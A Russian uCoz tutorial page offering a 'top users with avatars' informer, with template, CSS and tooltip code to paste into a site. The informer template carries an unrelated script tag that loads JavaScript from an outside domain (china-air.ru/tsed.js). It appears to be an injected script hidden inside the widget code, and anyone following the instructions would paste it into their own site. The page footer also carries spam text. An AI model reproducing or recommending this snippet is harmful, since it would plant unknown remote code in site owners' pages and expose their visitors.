Кабинет
Гость

Сообщения:

Группа:
Гости
Время:13:06

 

Новый Топ пользователей с аватарами для Ucoz


Описание: Скрипт Топ пользователей для Ucoz. С позициями + хинт информации о пользователи при наведении курсором на аватар.
Установка:
Создаем информер:
[ Пользователи · Материалы · Кол. файлов · Материалы: 8 · Колонки: 2 ]
В шаблон информера вставляем:

Код
<div class="utop-user" align="center">
<a href="$PROFILE_URL$" class="ut-ava" title="<b>Имя:</b> $USERNAME$<br/><b>Файлов:</b> $LOAD_POSTS$</br><b>Форумов:</b> $FORUM_POSTS$</br><b>Коментариев:</b> $COM_POSTS$</br>">
<?if($AVATAR_URL$)?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
<img src="$AVATAR_URL$"><?else?>
<img src="http://bambun.ru/images/noa23va.png">
<?endif?>
</a>
<a href="$PROFILE_URL$"><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a>
<div class="utop-number">$NUMBER$</div>
</div>


В CSS вставляем в самый низ

Код


/*Новые участники*/
.utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;}
.utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#000;
border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;}
.utop-user a.ut-ava img {max-width:52px; height:52px;border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px;}
.utop-user a.ut-ava {border:1px solid #cfcfcf; padding:2px; width:52px;border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px; text-align:center; display:inline-block;}
.utop-user a.ut-ava:hover {border-color:#000;}
#easyTooltip{
padding:10px;
border:1px solid #000000;
background:#000;
border-radius: 4px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
color: #666666;
filter:alpha(opacity=90);
-moz-opacity: 0.9;
-khtml-opacity: 0.9;
opacity: 0.9;
z-index:1000;
}
/*===================================*/


В нижнюю часть сайта

Код
<script type="text/javascript" src="http://bambun.ru/css_js/tooltip.js"></script>
<script>
$(document).ready(function(){$("a").easyTooltip()});$(document).ready(function(){$("img").easyTooltip()});
</script>

 Добавлено:  30.12.2012, 12:41 | Добавил: startsmart | Теги:
Просмотров: 1273  | Комментарии: 1 | Рейтинг: 0.0/0
Популярные файлы
Новый Топ пользователей с а...[ Просмотров 1272 ]
Кнопка "Регистрация&qu...[ Просмотров 977 ]
Информер - лучшие пользоват...[ Просмотров 941 ]
Информер последних коммента...[ Просмотров 912 ]
Еще один вид опросов[ Просмотров 903 ]
Блок нужные программы[ Просмотров 886 ]
Просилка регистрации для uc...[ Просмотров 843 ]
Быстрый «Заказ фильмов»[ Просмотров 835 ]
Скрипт статистика сайта для...[ Просмотров 827 ]
Новый вид статистики пользо...[ Просмотров 802 ]
Новые файлы
Создаём раздвижную форму по...[ Добавлен 11.08.2013 ]
Новое меню от Diz-cs[ Добавлен 11.08.2013 ]
SMS Бесплатно![ Добавлен 11.08.2013 ]
Мини-профиль для ucoz[ Добавлен 09.08.2013 ]
Вместительная статистика uc...[ Добавлен 09.08.2013 ]
Боковое Меню Цветное и серо...[ Добавлен 25.07.2013 ]
Скрипт "Наша кнопка&qu...[ Добавлен 25.07.2013 ]
Движущиеся блок "друзь...[ Добавлен 25.07.2013 ]
Темный мини профиль для Uco...[ Добавлен 24.07.2013 ]
Последние комментарии как н...[ Добавлен 24.07.2013 ]

...

Статистика






Besucherzahler male order brides russia
счетчик посещений



Яндекс цитирования